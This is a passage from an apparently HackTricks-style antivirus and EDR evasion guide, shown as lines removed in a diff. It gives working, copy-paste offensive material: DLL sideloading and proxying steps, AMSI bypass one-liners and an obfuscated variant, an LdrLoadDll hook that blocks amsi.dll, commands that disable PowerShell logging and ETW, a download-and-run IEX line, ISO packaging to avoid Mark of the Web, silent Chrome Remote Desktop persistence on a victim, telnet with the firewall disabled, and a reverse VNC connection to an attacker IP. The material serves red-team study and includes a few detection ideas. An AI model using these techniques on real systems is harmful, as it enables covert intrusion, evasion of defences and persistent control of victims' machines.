-> When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
-
-## EXEs vs DLLs
-
-Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
-
-As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
-
-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
-
-Now we'll show some tricks you can use with DLL files to be much more stealthier.
-
-## DLL Sideloading & Proxying
-
-**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
-
-You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
-
-```bash
-Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
-    $binarytoCheck = "C:\Program Files\" + $_
-    C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
-}
-```
-
-This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
-
-I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily.
-
-Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**.
-
-**DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
-
-I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
-
-These are the steps I followed:
-
-```
-1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
-2. Generate some shellcode (I used Havoc C2)
-3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
-4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
-```
-
-The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
-
-<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
-
-```
-5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
-```
-
-These are the results:
-
-<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
-
-Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
-
-<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
-
-> [!TIP]
-> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
-
-### Abusing Forwarded Exports (ForwardSideLoading)
-
-Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
-
-- Load `TargetDll` if not already loaded
-- Resolve `TargetFunc` from it
-
-Key behaviors to understand:
-- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
-- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
-
-This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
-
-Example observed on Windows 11:
-
-```
-keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
-```
-
-`NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order.
-
-PoC (copy-paste):
-1) Copy the signed system DLL to a writable folder
-```
-copy C:\Windows\System32\keyiso.dll C:\test\
-```
-2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain.
-```c
-// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
-#include <windows.h>
-BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
-    if (reason == DLL_PROCESS_ATTACH){
-        HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-        if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}        
-    }
-    return TRUE;
-}
-```
-3) Trigger the forward with a signed LOLBin:
-```
-rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
-```
-
-Observed behavior:
-- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
-- While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface`
-- The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain`
-- If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run
-
-Hunting tips:
-- Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
-- You can enumerate forwarded exports with tooling such as:
-```
-dumpbin /exports C:\Windows\System32\keyiso.dll
-# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
-```
-- See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt
-
-Detection/defense ideas:
-- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
-- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
-- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
-
-## [**Freeze**](https://github.com/optiv/Freeze)
-
-`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
-
-You can use Freeze to load and execute your shellcode in a stealthy manner.
-
-```
-Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
-1. Generate some shellcode, in this case I used Havoc C2.
-2. ./Freeze -I demon.bin -encrypt -O demon.exe
-3. Profit, no alerts from defender
-```
-
-<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
-
-> [!TIP]
-> Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques.
-
-## Direct/Indirect Syscalls & SSN Resolution (SysWhispers4)
-
-EDRs often place **user-mode inline hooks** on `ntdll.dll` syscall stubs. To bypass those hooks, you can generate **direct** or **indirect** syscall stubs that load the correct **SSN** (System Service Number) and transition to kernel mode without executing the hooked export entrypoint.
-
-**Invocation options:**
-- **Direct (embedded)**: emit a `syscall`/`sysenter`/`SVC #0` instruction in the generated stub (no `ntdll` export hit).
-- **Indirect**: jump into an existing `syscall` gadget inside `ntdll` so the kernel transition appears to originate from `ntdll` (useful for heuristic evasion); **randomized indirect** picks a gadget from a pool per call.
-- **Egg-hunt**: avoid embedding the static `0F 05` opcode sequence on disk; resolve a syscall sequence at runtime.
-
-**Hook-resistant SSN resolution strategies:**
-- **FreshyCalls (VA sort)**: infer SSNs by sorting syscall stubs by virtual address instead of reading stub bytes.
-- **SyscallsFromDisk**: map a clean `\KnownDlls\ntdll.dll`, read SSNs from its `.text`, then unmap (bypasses all in-memory hooks).
-- **RecycledGate**: combine VA-sorted SSN inference with opcode validation when a stub is clean; fall back to VA inference if hooked.
-- **HW Breakpoint**: set DR0 on the `syscall` instruction and use a VEH to capture the SSN from `EAX` at runtime, without parsing hooked bytes.
-
-Example SysWhispers4 usage:
-```bash
-# Indirect syscalls + hook-resistant resolution
-python syswhispers.py --preset injection --method indirect --resolve recycled
-
-# Resolve SSNs from a clean on-disk ntdll
-python syswhispers.py --preset injection --method indirect --resolve from_disk --unhook-ntdll
-
-# Hardware breakpoint SSN extraction
-python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --resolve hw_breakpoint
-```
-
-## AMSI (Anti-Malware Scan Interface)
-
-AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
-
-The AMSI feature is integrated into these components of Windows.
-
-- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
-- PowerShell (scripts, interactive use, and dynamic code evaluation)
-- Windows Script Host (wscript.exe and cscript.exe)
-- JavaScript and VBScript
-- Office VBA macros
-
-It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.
-
-Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
-
-<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
-
-Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
-
-We didn't drop any file to disk, but still got caught in-memory because of AMSI.
-
-Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI.
-
-There are a couple of ways to get around AMSI:
-
-- **Obfuscation**
-
-Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection.
-
-However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged.
-
-- **AMSI Bypass**
-
-Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning.
-
-**Forcing an Error**
-
-Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
-
-```bash
-[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
-```
-
-All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique.
-
-Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
-
-```bash
-Try{#Ams1 bypass technic nº 2
-      $Xdatabase = 'Utils';$Homedrive = 'si'
-      $ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
-      $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
-      $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
-      $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
-      $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
-      $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
-      $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
-      $Spotfix.SetValue($null,$true)
-   }Catch{Throw $_}
-```
-
-Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
-
-**Memory Patching**
-
-This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
-
-> [!TIP]
-> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
-
-There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
-
-### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
-
-AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.
-
-Implementation outline (x64 C/C++ pseudocode):
-```c
-#include <windows.h>
-#include <winternl.h>
-
-typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
-static pLdrLoadDll realLdrLoadDll;
-
-NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
-    if (module && module->Buffer){
-        UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
-        if (RtlEqualUnicodeString(module, &amsi, TRUE)){
-            // Pretend the DLL cannot be found → AMSI never initialises in this process
-            return STATUS_DLL_NOT_FOUND; // 0xC0000135
-        }
-    }
-    return realLdrLoadDll(path, flags, module, handle);
-}
-
-void InstallHook(){
-    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
-    realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
-    // Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
-    // e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
-}
-```
-Notes
-- Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
-- Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long command‑line artefacts.
-- Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`).
-
-The tool **[https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail)** also generates script to bypass AMSI.
-The tool **[https://amsibypass.com/](https://amsibypass.com/)** also generates script to bypass AMSI that avoid signature by randomized user-defined function, variables, characters expression and applies random character casing to PowerShell keywords to avoid signature.
-
-**Remove the detected signature**
-
-You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
-
-**AV/EDR products that uses AMSI**
-
-You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
-
-**Use Powershell version 2**
-If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
-
-```bash
-powershell.exe -version 2
-```
-
-## PS Logging
-
-PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**.
-
-To bypass PowerShell logging, you can use the following techniques:
-
-- **Disable PowerShell Transcription and Module Logging**: You can use a tool such as [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) for this purpose.
-- **Use Powershell version 2**: If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: `powershell.exe -version 2`
-- **Use an Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to spawn a powershell withuot defenses (this is what `powerpick` from Cobal Strike uses).
-
-
-## Obfuscation
-
-> [!TIP]
-> Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
-
-### Deobfuscating ConfuserEx-Protected .NET Binaries
-
-When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes.  The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.
-
-1.  Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`).  This also patches the PE checksum so any modification will crash the binary.  Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
-   ```bash
-   # https://github.com/wwh1004/AntiTamperKiller
-   python AntiTamperKiller.py Confused.exe Confused.clean.exe
-   ```
-   Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
-
-2.  Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
-   ```bash
-   de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
-   ```
-   Flags:
-     • `-p crx` – select the ConfuserEx 2 profile
-     • de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
-
-3.  Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation.  Remove them with **ProxyCall-Remover**:
-   ```bash
-   ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
-   ```
-   After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
-
-4.  Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload.  Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
-
-The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
-
-> 🛈  ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
-
-#### One-liner
-```bash
-autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
-```
-
----
-
-- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
-- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
-- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
-- [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder.
-- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys
-- [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables.
-- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow.
-- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
-- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them
-
-## SmartScreen & MoTW
-
-You may have seen this screen when downloading some executables from the internet and executing them.
-
-Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
-
-<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
-
-SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
-
-**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
-
-<figure><img src="../images/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
-
-> [!TIP]
-> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
-
-A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
-
-<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
-
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
-
-Example usage:
-
-```bash
-PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
-
-+      o     +              o   +      o     +              o
-    +             o     +           +             o     +         +
-    o  +           +        +           o  +           +          o
--_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
-   :: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
-   for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
--_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
-+      o         o   +       o       +      o         o   +       o
-+      o            +      o    ~   Mariusz Banach / mgeeky    o
-o      ~     +           ~          <mb [at] binary-offensive.com>
-    o           +                         o           +           +
-
-[.] Packaging input file to output .iso (iso)...
-Burning file onto ISO:
-    Adding file: /TotallyLegitApp.exe
-
-[+] Generated file written to (size: 3420160): container.iso
-```
-
-Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
-
-<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
-
-## ETW
-
-Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities.
-
-Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process.
-
-You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
-
-
-## C# Assembly Reflection
-
-Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
-
-Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
-
-Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
-
-- **Fork\&Run**
-
-It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**.
-
-<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
-
-- **Inline**
-
-It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash.
-
-<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
-
-> [!TIP]
-> If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
-
-You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
-
-## Using Other Programming Languages
-
-As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
-
-By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine.
-
-The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
-
-## TokenStomping
-
-Token stomping is a technique that allows an attacker to **manipulate the access token or a security prouct like an EDR or AV**, allowing them to reduce it privileges so the process won't die but it won't have permissions to check for malicious activities.
-
-To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
-
-- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
-- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
-- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
-
-## Using Trusted Software
-
-### Chrome Remote Desktop
-
-As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:
-1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
-2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
-3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
-4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
- 
-
-## Advanced Evasion
-
-Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments.
-
-Every environment you go against will have their own strengths and weaknesses.
-
-I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques.
-
-
-{{#ref}}
-https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
-{{#endref}}
-
-his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
-
-
-{{#ref}}
-https://www.youtube.com/watch?v=IbA7Ung39o4
-{{#endref}}
-
-## **Old Techniques**
-
-### **Check which parts Defender finds as malicious**
-
-You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
-Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
-
-### **Telnet Server**
-
-Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
-
-```bash
-pkgmgr /iu:"TelnetServer" /quiet
-```
-
-Make it **start** when the system is started and **run** it now:
-
-```bash
-sc config TlntSVR start= auto obj= localsystem
-```
-
-**Change telnet port** (stealth) and disable firewall:
-
-```
-tlntadmn config port=80
-netsh advfirewall set allprofiles state off
-```
-
-### UltraVNC
-
-Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
-
-**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
-
-- Enable the option _Disable TrayIcon_
-- Set a password in _VNC Password_
-- Set a password in _View-Only Password_
-
-Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
-
-#### **Reverse connection**
-
-The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
-
-**WARNING:** To maintain stealth you must not do a few things
-
-- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
-- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
-- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
-
-### GreatSCT
-
-Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
-
-```
-git clone https://github.com/GreatSCT/GreatSCT.git
-cd GreatSCT/setup/
-./setup.sh
-cd ..
-./GreatSCT.py
-```
-
-Inside GreatSCT:
-
-```
-use 1
-list #Listing available payloads
